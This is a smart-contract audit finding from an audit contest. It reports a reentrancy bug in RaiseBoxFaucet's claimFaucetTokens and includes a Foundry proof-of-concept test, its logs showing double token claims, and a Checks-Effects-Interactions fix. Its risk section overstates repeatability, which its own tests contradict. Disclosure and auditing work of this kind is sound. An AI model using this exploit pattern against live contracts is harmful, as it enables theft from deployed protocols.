Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Token Reentrancy Vulnerability in RaiseBoxFaucet::claimFaucetTokens()

Root + Impact

Description

  • The claimFaucetTokens() function is designed to distribute tokens and ETH to users with a 3-day cooldown period between claims. Under normal operation, users call the function, receive their token drip (1000 tokens by default), and first-time claimers also receive an ETH bonus (0.005 ETH), with the lastClaimTime state variable updated to enforce the cooldown.​

  • However, the function violates the Checks-Effects-Interactions pattern by performing an external ETH transfer at line 198 before updating critical state variables lastClaimTime and dailyClaimCount at lines 227-228. This ordering flaw allows a malicious contract to reenter the function through its receive() fallback, bypassing the cooldown check because lastClaimTime has not yet been updated, enabling the attacker to claim tokens twice in a single transaction and steal double the intended amount.

function claimFaucetTokens() public {
faucetClaimer = msg.sender;
// Cooldown check happens early
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
// ... other checks ...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // EXTERNAL CALL
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
}
} else {
dailyDrips = 0;
}
// ... daily limit checks ...
@> lastClaimTime[faucetClaimer] = block.timestamp; // STATE UPDATE AFTER EXTERNAL CALL ❌
@> dailyClaimCount++; // STATE UPDATE AFTER EXTERNAL CALL ❌
@> _transfer(address(this), faucetClaimer, faucetDrip); // TOKEN TRANSFER AFTER EXTERNAL CALL ❌
emit Claimed(msg.sender, faucetDrip);
}

Risk

Likelihood:

  • An attacker deploys a malicious contract with a receive() fallback function and calls claimFaucetTokens() once every 3 days to execute the reentrancy attack.

  • The exploit requires minimal technical sophistication, costing only standard gas fees (~300k gas per attack), and can be repeated indefinitely throughout the faucet's lifetime. The vulnerability is automatically triggered on every first-time claim from a contract address, making exploitation trivial and guaranteed.

Impact:

  • The attacker steals double the intended token amount on each claim, resulting in 2000 tokens per attack instead of the legitimate 1000 tokens. Over a 30-day period, the attacker extracts 11,000 tokens versus the intended 10,000 tokens, representing a 10% excess theft that accumulates to 1,000+ tokens per month and 12,000+ tokens annually.

  • This systematic fund drainage depletes the faucet's token reserves faster than intended, potentially rendering the faucet insolvent and unable to serve legitimate users.

Proof of Concept

pragma solidity ^0.8.30;
import {Test, console} from "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
import {TokenReentrancyAttacker} from "./TokenReentrancyAttacker.sol";
contract TokenReentrancyTest is Test {
RaiseBoxFaucet public faucet;
TokenReentrancyAttacker public attacker;
address owner;
function setUp() public {
owner = address(this);
// Deploy faucet with standard parameters
faucet = new RaiseBoxFaucet(
"RaiseBox Token",
"RBT",
1000 * 10**18, // faucetDrip: 1000 tokens
0.005 ether, // sepEthAmountToDrip
0.5 ether // dailySepEthCap
);
// Fund faucet with ETH
vm.deal(address(faucet), 10 ether);
// Advance time past initial deployment
vm.warp(block.timestamp + 3 days);
// Deploy attacker contract with payable cast
attacker = new TokenReentrancyAttacker(payable(address(faucet)));
}
function testTokenReentrancyAttack() public {
uint256 faucetTokensBefore = faucet.getFaucetTotalSupply();
uint256 faucetEthBefore = address(faucet).balance;
console.log("=================================");
console.log("TOKEN REENTRANCY ATTACK POC");
console.log("=================================\n");
console.log("--- BEFORE ATTACK ---");
console.log("Faucet tokens:", faucetTokensBefore / 10**18);
console.log("Faucet ETH (wei):", faucetEthBefore);
console.log("Attacker tokens:", faucet.balanceOf(address(attacker)) / 10**18);
console.log("Daily claim limit:", faucet.dailyClaimLimit());
console.log("Tokens per drip:", faucet.faucetDrip() / 10**18);
// Execute reentrancy attack
attacker.attack();
uint256 faucetTokensAfter = faucet.getFaucetTotalSupply();
uint256 faucetEthAfter = address(faucet).balance;
uint256 attackerTokens = faucet.balanceOf(address(attacker));
uint256 attackerEth = address(attacker).balance;
console.log("\n--- AFTER ATTACK ---");
console.log("Faucet tokens:", faucetTokensAfter / 10**18);
console.log("Faucet ETH (wei):", faucetEthAfter);
console.log("Attacker tokens:", attackerTokens / 10**18);
console.log("Attacker ETH (wei):", attackerEth);
console.log("Reentrant calls executed:", attacker.attackCount());
console.log("Daily claim count:", faucet.dailyClaimCount());
// Calculate damage
uint256 tokensStolen = attackerTokens / 10**18;
uint256 expectedSingleDrip = faucet.faucetDrip() / 10**18;
console.log("\n--- ATTACK ANALYSIS ---");
console.log("Expected tokens (1 claim):", expectedSingleDrip);
console.log("Actual tokens stolen:", tokensStolen);
console.log("Excess tokens stolen:", tokensStolen - expectedSingleDrip);
console.log("Times more than legitimate:", tokensStolen / expectedSingleDrip);
// Verify reentrancy occurred
assertGt(tokensStolen, expectedSingleDrip, "Reentrancy failed: only got single drip");
assertGt(attacker.attackCount(), 0, "No reentrant calls executed");
// ETH should only be received once (initial drip)
assertEq(attackerEth, 0.005 ether, "ETH reentrancy also occurred (unexpected)");
console.log("\n=================================");
console.log("VULNERABILITY CONFIRMED!");
console.log("Attacker stole", tokensStolen, "tokens via reentrancy");
console.log("=================================");
}
function testReentrancyLimitedByCooldown() public {
// The reentrancy is actually limited by the cooldown check, not dailyClaimLimit
// This test verifies the attack gets exactly 1 reentrant call
attacker.attack();
uint256 finalClaimCount = faucet.dailyClaimCount();
uint256 attackerTokens = faucet.balanceOf(address(attacker));
uint256 tokensPerDrip = faucet.faucetDrip();
console.log("Final daily claim count:", finalClaimCount);
console.log("Attacker tokens:", attackerTokens / 10**18);
console.log("Reentrant calls:", attacker.attackCount());
// Should have exactly 2 claims (initial + 1 reentrant)
assertEq(finalClaimCount, 2, "Should have 2 total claims");
assertEq(attackerTokens, tokensPerDrip * 2, "Should have 2x token drip amount");
assertEq(attacker.attackCount(), 1, "Should have 1 reentrant call");
console.log("\nVulnerability confirmed: Reentrancy allows 2x token theft");
}
function testMultipleAttacksOver30Days() public {
// IMPORTANT: After first claim, hasClaimedEth is permanently true
// So only the FIRST attack gets reentrancy (via ETH transfer)
// Subsequent attacks get normal single drip
uint256 totalStolen = 0;
uint256 attacksExecuted = 0;
console.log("=================================");
console.log("REPEATED ATTACK DEMONSTRATION");
console.log("=================================\n");
for(uint256 i = 0; i < 10; i++) {
// Wait for cooldown (3 days)
vm.warp(block.timestamp + 3 days + 1);
uint256 beforeBalance = faucet.balanceOf(address(attacker));
attacker.attack();
uint256 afterBalance = faucet.balanceOf(address(attacker));
uint256 stolenThisRound = afterBalance - beforeBalance;
totalStolen += stolenThisRound;
attacksExecuted++;
console.log("Attack #%d - Stolen: %d tokens", i + 1, stolenThisRound / 10**18);
}
console.log("\n--- TOTAL DAMAGE ---");
console.log("Attacks executed:", attacksExecuted);
console.log("Total tokens stolen:", totalStolen / 10**18);
console.log("Expected (legitimate):", (faucet.faucetDrip() / 10**18) * attacksExecuted);
console.log("Excess stolen:", (totalStolen / 10**18) - ((faucet.faucetDrip() / 10**18) * attacksExecuted));
// First attack steals 2x (reentrancy via ETH), remaining 9 attacks steal 1x each
uint256 expectedTotal = (faucet.faucetDrip() * 2) + (faucet.faucetDrip() * 9);
console.log("\n=================================");
console.log("ANALYSIS:");
console.log("Attack 1: 2000 tokens (reentrancy via ETH)");
console.log("Attacks 2-10: 1000 tokens each (normal)");
console.log("Expected total: 11000 tokens");
console.log("=================================");
// Verify: 2000 (first attack with reentrancy) + 9000 (9 normal attacks) = 11000
assertEq(totalStolen, expectedTotal, "Should steal 2x on first attack only");
assertGt(totalStolen, faucet.faucetDrip() * attacksExecuted, "Should have stolen more than legitimate");
}
}

PoC Result:

forge test --match-contract TokenReentrancyTest -vvv
[⠰] Compiling...
[⠘] Compiling 1 files with Solc 0.8.30
[⠊] Solc 0.8.30 finished in 307.32ms
Compiler run successful!
Ran 3 tests for test/TokenReentrancyTest.sol:TokenReentrancyTest
[PASS] testMultipleAttacksOver30Days() (gas: 658583)
Logs:
=================================
REPEATED ATTACK DEMONSTRATION
=================================
Attack #1 - Stolen: 2000 tokens
Attack #2 - Stolen: 1000 tokens
Attack #3 - Stolen: 1000 tokens
Attack #4 - Stolen: 1000 tokens
Attack #5 - Stolen: 1000 tokens
Attack #6 - Stolen: 1000 tokens
Attack #7 - Stolen: 1000 tokens
Attack #8 - Stolen: 1000 tokens
Attack #9 - Stolen: 1000 tokens
Attack #10 - Stolen: 1000 tokens
--- TOTAL DAMAGE ---
Attacks executed: 10
Total tokens stolen: 11000
Expected (legitimate): 10000
Excess stolen: 1000
=================================
ANALYSIS:
Attack 1: 2000 tokens (reentrancy via ETH)
Attacks 2-10: 1000 tokens each (normal)
Expected total: 11000 tokens
=================================
[PASS] testReentrancyLimitedByCooldown() (gas: 256675)
Logs:
Final daily claim count: 2
Attacker tokens: 2000
Reentrant calls: 1
Vulnerability confirmed: Reentrancy allows 2x token theft
[PASS] testTokenReentrancyAttack() (gas: 285053)
Logs:
=================================
TOKEN REENTRANCY ATTACK POC
=================================
--- BEFORE ATTACK ---
Faucet tokens: 1000000000
Faucet ETH (wei): 10000000000000000000
Attacker tokens: 0
Daily claim limit: 100
Tokens per drip: 1000
--- AFTER ATTACK ---
Faucet tokens: 999998000
Faucet ETH (wei): 9995000000000000000
Attacker tokens: 2000
Attacker ETH (wei): 5000000000000000
Reentrant calls executed: 1
Daily claim count: 2
--- ATTACK ANALYSIS ---
Expected tokens (1 claim): 1000
Actual tokens stolen: 2000
Excess tokens stolen: 1000
Times more than legitimate: 2
=================================
VULNERABILITY CONFIRMED!
Attacker stole 2000 tokens via reentrancy
=================================
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 2.35ms (744.99µs CPU time)
Ran 1 test suite in 38.26ms (2.35ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)

Recommended Mitigation


Apply the Checks-Effects-Interactions pattern by moving all state updates before external calls :​

function claimFaucetTokens() public {
faucetClaimer = msg.sender;
// CHECKS
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
// ... other checks ...
+ // EFFECTS - UPDATE STATE BEFORE EXTERNAL CALLS
+ lastClaimTime[faucetClaimer] = block.timestamp;
+
+ if (block.timestamp > lastFaucetDripDay + 1 days) {
+ lastFaucetDripDay = block.timestamp;
+ dailyClaimCount = 0;
+ }
+ dailyClaimCount++;
+
bool shouldDripEth = false;
uint256 ethToDrip = 0;
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
+ shouldDripEth = true;
+ ethToDrip = sepEthAmountToDrip;
}
}
- if (block.timestamp > lastFaucetDripDay + 1 days) {
- lastFaucetDripDay = block.timestamp;
- dailyClaimCount = 0;
- }
-
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
+ // INTERACTIONS - EXTERNAL CALLS LAST
_transfer(address(this), faucetClaimer, faucetDrip);
+
+ if (shouldDripEth) {
+ (bool success,) = faucetClaimer.call{value: ethToDrip}("");
+ if (success) {
+ emit SepEthDripped(faucetClaimer, ethToDrip);
+ } else {
+ revert RaiseBoxFaucet_EthTransferFailed();
+ }
+ }
emit Claimed(msg.sender, faucetDrip);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 5 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.